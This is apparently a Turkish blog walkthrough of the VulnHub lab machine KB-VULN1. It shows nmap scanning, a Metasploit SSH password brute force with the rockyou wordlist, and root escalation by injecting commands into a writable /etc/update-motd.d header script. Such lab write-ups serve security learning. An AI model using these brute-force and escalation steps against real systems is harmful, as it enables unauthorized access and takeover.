KB-VULN1


KB-VULN1 Makine Çözümü

Hazırlık

Merhabalar. Bu yazımda Kb-Vuln makinesinin çözümünü sizlerle paylaşacağım. Kernelbloğun yayınladığı kb-vuln makinesi basit bir enumeration açığı barındırmaktadır.


İlk önce makineyi vulnhub üzerinden indirip virtualbox‘a kurunuz. Ağ ile ilgili gerekli ayarları yaptıktan sonra (köprü bağdaştırıcısı) makineyi çalıştırınız.

Makine sorunsuz çalışıyorsa çözüme başlayabiliriz.

Bilgi Toplama

Öncelikle ağ üzerinde hedef makineyi bulmamız gerekiyor. Bunun için çeşitli yöntemler mevcut, ben nmap’i kullanarak basit bir ping işlemiyle hedefi tespit edeceğim. Bu işlem için network idnizi bilmeniz gerekiyor.

nmap 192.168.1.0/24 -Sp -T5

Hedefin ip adresini bulduktan sonra (192.168.1.10) nmap ile makineyi tarıyorum. Tarama için kullandığım nmap komutu ise:
nmap 192.168.1.10 -T5 -A -p- -sS

Sonuçlar:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-08 22:37 +03
Nmap scan report for 192.168.1.10
Host is up (0.0011s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.11
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 95:84:46:ae:47:21:d1:73:7d:2f:0a:66:87:98:af:d3 (RSA)
|   256 af:79:86:77:00:59:3e:ee:cf:6e:bb:bc:cb:ad:96:cc (ECDSA)
|_  256 9d:4d:2a:a1:65:d4:f2:bd:5b:25:22:ec:bc:6f:66:97 (ED25519)
80/tcp   open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: OneSchool — Website by Colorlib
8443/tcp open  ssl/http LXD container manager REST API
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=root@kb-server/organizationName=linuxcontainers.org
| Subject Alternative Name: DNS:kb-server, IP Address:192.168.1.10
| Not valid before: 2020-09-07T13:12:16
|_Not valid after:  2030-09-05T13:12:16
MAC Address: 08:00:27:09:6B:FC (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), 
Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology DiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%), Linux 2.6.32 - 2.6.35 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.08 ms 192.168.1.10

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.72 seconds

Tarama sonuçlarına hızlıca bir göz gezdirdiğimde 21, 22 ve 80 portlarının açık olduğunu gördüm. Öncelikle makinedeki web sayfasını görüntüledim.


Fazla interaktif olmayan bir sayfaya. Hal böyle olunca ctrl+u ile sayfanın kaynak kodlarını görüntüledim. Html kodlarının arasında sysadmin adında bir kullanıcı adına rastladım.


Kullanıcı adını not alıp araştırmaya devam ettim. Nikto ve dirb ile sunucuda barınan dosyaların bazılarını görüntüleme şansım oldu. Sunucu içerisinde uzun süre dolaştıktan sonra siteyi terk ettim. Bu kısımlarla ilgili fazla detay vermiyorum çünkü işe yarar bir veri elde edemedim.

Sonrasında nmap sonuçlarına geri döndüm. Makinede bulunan 21 ve 22 numaralı portlara ait sürüm bilgisi, açık bilgisi ve exploit gibi araştırmalara başladım. Sağlıklı sonuçlar alamayınca bu portlara brute-force uygulama kararı aldım.

Saldırı

Önce ssh üzerine bir saldırı başlattım. Ssh saldırısı için Metasploit aracını kullandım. Sırasıyla şu komutları kullanarak kaliyi saldırıya hazırladım:

  1. msfconsole
  2. search ssh_login
  3. use auxiliary/scanner/ssh/ssh_login
  4. show options
  5. set rhosts 192.168.1.10
  6. set username sysadmin
  7. set pass_file /usr/share/wordlists/rockyou.txt
  8. set stop_on_success true
  9. run

Yukarıdaki adımları açıklamak gerekirse. Metasploite girdim. Ssh_login auxiliary’sini bulup seçtim. İp, kullanıcı adı ve parola dosyasını ayarladıktan sonra saldırıyı başlattım.

Çok geçmeden parolayı elde ettim, password1.


SSH ile Devam

Makineye giriş için kullanıcı ve parolasını elde ettik. Şimdi bağlantı zamanı.

root@kali:/home/suha/Masaüstü# ssh sysadmin@192.168.1.10
sysadmin@192.168.1.10's password: 
Welcome
Last login: Tue Sep  8 23:09:04 2020 from 192.168.1.11
sysadmin@kb-server:~$ 
Bağlantı yaptıktan sonra sysadmin’in ev dizinini tarıyorum.
sysadmin@kb-server:~$ ls -la
total 80
drwxr-xr-x 7 sysadmin sysadmin  4096 Sep  8 08:57 .
drwxr-xr-x 3 root     root      4096 Aug 22 17:53 ..
-rw------- 1 sysadmin sysadmin 12727 Sep  8 09:06 .bash_history
-rw-r--r-- 1 sysadmin sysadmin   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 sysadmin sysadmin  3771 Apr  4  2018 .bashrc
drwx------ 2 sysadmin sysadmin  4096 Aug 22 17:02 .cache
drwxr-x--- 3 sysadmin sysadmin  4096 Sep  7 13:12 .config
drwxrwxr-x 2 sysadmin sysadmin  4096 Aug 22 17:39 ftp
drwx------ 3 sysadmin sysadmin  4096 Aug 22 17:02 .gnupg
-rw------- 1 sysadmin sysadmin    31 Sep  7 12:46 .lesshst
drwxrwxr-x 3 sysadmin sysadmin  4096 Sep  6 22:04 .local
-rw-r--r-- 1 sysadmin sysadmin   807 Apr  4  2018 .profile
-rw------- 1 sysadmin sysadmin     7 Sep  6 22:55 .python_history
-rw-rw-r-- 1 sysadmin sysadmin    66 Sep  6 22:21 .selected_editor
-rw-r--r-- 1 sysadmin sysadmin   735 Sep  7 00:11 .ssh
-rw-r--r-- 1 root     root        33 Aug 22 17:54 user.txt
-rw-rw-r-- 1 sysadmin sysadmin   215 Sep  7 11:57 .wget-hsts
sysadmin@kb-server:~$ 

Çeşitli dosyalar ve klasörler var, bu dosyalar arasından user.txt‘yi elde ederek ilk bayrağı alıyorum. Sonrasında ftp klasörüne giriyorum. İlk önce bu klasöre girmemin sebebi read, write, execute yetkilerinin çok olması. Ftp klasörünün içerisinde gizli bir dosya bulunmakta, .bash_history.

Bu dosyayı açtığımda daha önceden bu kullanıcı üzerinden terminalden çalıştırılmış bazı komutları gördüm.

Bu dosyada kabaca /etc/update-motd.d/00-header adındaki dosyanın nano ile açıldığı bilgisi yer almaktaydı.

Düzenlenen bu header dosyasına girdiğimde şöyle bir manzarayla karşılaştım.


Yukarıdaki açıklama satırlarında kullanılan dosya ile ilgili lisans açıklamaları bulunmaktaydı. Bu dosyadan anladığım makinede bir selamla programının kurulu olduğu ve sisteme her uzaktan giriş yaptığında çalıştığıydı.

Dosya bash ile yazılmış bu da dosya içerisinde herhangi bir terminal komutunu çalıştırabileceğim anlamına gelmekte. Bu da zaten dosyadaki echo komutundan anlaşılır diye düşünüyorum.

Bu düşüncemi teyit etmek için içeri id komutunu bıraktım ve dosyayı çalıştırdım.

sysadmin@kb-server:/etc/update-motd.d$ ./00-header 
Welcome
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
sysadmin@kb-server:/etc/update-motd.d$ 

Çıktılar düşüncemi doğrular nitelikteydi. Dosyaya yazdığım id komutu çalışmıştı ve mevcut kullanıcının çeşitli grup ve uid bilgilerini döndürmüştü.

Programı denemek için mevcut ssh bağlantısını kesip makineye tekrardan bağlandım.

Bitiş

Bağlandığımda elde ettiğim görüntü bi hayli korkunçtu. Terminale sysadminin değil de root’un gid, uid bilgileri gelmişti. Şu aşamadan sonra benim için makine çözüldü.

Header dosyasına erişip içeriye flag.txt’yi bulmak için gerekli komutu girdim. İki flag’i de alıp makineyi terk ettim…

Notlar

Şu son kısımda flag.txt’yi bulmak için bir kod değilde sysadmin’i sudoers’e ekleyerek root’a geçiş yapılabilir miydi? Yapılırdı ama gerek yok, biz işimizi gördük.

Bunun dışında makineyi iki kişilik bir ekip olarak çözdük, emeklerinden dolayı Süha Arslan'a teşekkürler.

Emek hırsızlığını önlemek ve hazıra konmak gibi bilimum zararlı eylemlerden sizleri korumak için user ile flag içerisindeki verileri paylaşmıyorum.

Güzel makine olmuş, elinize sağlık Kernelblog.


Yorumlar

Bu blogdaki popüler yayınlar

Maltego Nedir? Nasıl Kullanılır?

Wireshark ile SSH Analizi

Bind Shell ve Reverse Shell Nedir?